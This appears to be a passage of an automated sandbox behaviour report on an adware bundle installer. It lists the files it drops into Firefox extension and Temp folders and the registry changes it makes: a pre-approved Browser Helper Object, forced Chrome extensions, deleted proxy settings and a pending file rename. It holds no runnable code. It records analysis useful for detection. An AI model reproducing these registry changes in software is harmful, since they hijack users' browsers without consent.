C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\69eb95f1d6d6e8f6e857fdad48ec25d8.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\a5fc1ade3d8cb0dd7fea1d34ac5979d6.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1b123b7ed5417569013bdebe7acdf4c3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\8cf4b2da19dbdae0b323393aa1d3ec70.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\67176cfc78f8d8f27e6db3e84cc92086.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3405f5bacb2090f478721400e8fb544e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\70be7f1949e02ad89e5cb0a08415bb70.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (622 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ad535445d1c9eb42124fa046849abe42.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\4f6c70cd2253d30fbd04f133b1847c11.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f74073a9851ff6e2abc569f7cce4c34c.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\62127ccdfc9fd3b95ea851a5e54b64c2.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\44cdf64ca8dda3a91f47ebd1aebc9a7d.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a5e97f7b1eb1dac534c698aedb83a114.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\8a125f95b64aec2e65f3625482775378.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6157a01fcbb5d07eaad6889fa455f139.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\de571e34e569609950d85d0199ccf35d.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\f86a81f4ee7f6820b44f26f321385c76.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e46342ca25855c7cad219e156b46e788.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1c3b2bca1b1beb3f809b7efabb7a19e4.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\9f4eb6c26a957069b37551ea1c1535bc.js (649 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1e4c1f58dd835ea648f708d9238a4ceb.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\88a330a6593fa7779e846a5f7865cd6d.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\f370f202f129eb00870420871737a362.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\bd53b3a10312eb30f95d8b9108fe000e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\af1e08d0e1bc26f9cc0fa0d1a7d9287e.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ed94253d05dd275cd30d9515a5288008.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ce49e654ffe40d5ac106c15cb9ccb8b6.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\28af3f045dfb291daea508f84a49ca9a.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8ae66b9db36ce9ad07151c5bcd53cbb4.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\db071635a4d27dd953828c3f7225e43b.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3c1e7024c3e2380dab1e5a9a699afa68.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d85e88179ac2a28aabef5895541c7ab8.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\2ecb91b57ba6883f4f5acf54f4309a04.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\476c102f114c90c35685c4dc5c185fd7.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f0b958bbc632e24db943cd7dba06c8a0.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\e647908f01031f0a06d45ef2e4ceb7fd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\0283ef2f862ea5f2ae5cae99ac773276.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\6d9764bf2f1ebb7c7a5d534fc7c16632.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\0eef184f9d7d9d08d251db13100a066e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\525a7c6c795fca7fdef91c72ee00442f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\17a138047c4306065d8d417a61aa83f2.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)

The process taskeng.exe:2528 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:3388 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C0.tmp (35697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\4D90EAE405E9E2FF (34773 bytes)

The process %original file name%.exe:2364 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (79 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE791.tmp (5893 bytes)

The process INS_IWEBAR.EXE:4044 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy6E4D.tmp\Mndaji.tmp (393891 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy6E4D.tmp\xlinghf.dll (2092 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy6E4D.tmp\lgtote.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy6E4D.tmp\ukrfuo.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy6E4D.tmp\Txhzzaikvhn.exe (2191994 bytes)

Registry activity

The process nsyDB72.tmp:1928 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "FE 68 16 20 D5 7C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\nsProcess.dll,"

[HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko]
"update_url" = "http://clients2.google.com/service/update2/crx"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\WebProtectorPlus]
"SID" = "OTgxMw=="

[HKCU\Software\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko]
"update_url" = "http://clients2.google.com/service/update2/crx"

[HKLM\SOFTWARE\WebProtectorPlus]
"Gid" = "B383C50E-64C2-48C7-800E-B0CA2B58196C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "F5 47 A2 49 D5 7C D0 01"
"WpadNetworkName" = "Network 4"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process aints.exe:4416 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WebProtectorPlus]
"DisplayName" = "Web Protector Plus (uninstall only)"
"UninstallString" = "%Program Files% (x86)\WebProtectorPlus\uninstall.exe"

[HKLM\SOFTWARE\WebProtectorPlus\Uninst]
"Install_Dir" = "%Program Files% (x86)\WebProtectorPlus"

The process aints.exe:1056 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process YTAHelper.exe:3720 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"UserId" = "%%PIXGUID(aff=smtyc"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "84 41 7A 56 D5 7C D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"
"NoExplore" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"
"Version" = "1.5.4.199"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator\ExtraInfo]
"DBVersion" = "1.0.0.1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process smt_istartsurf.exe:2996 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "48 18 56 97 D5 7C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
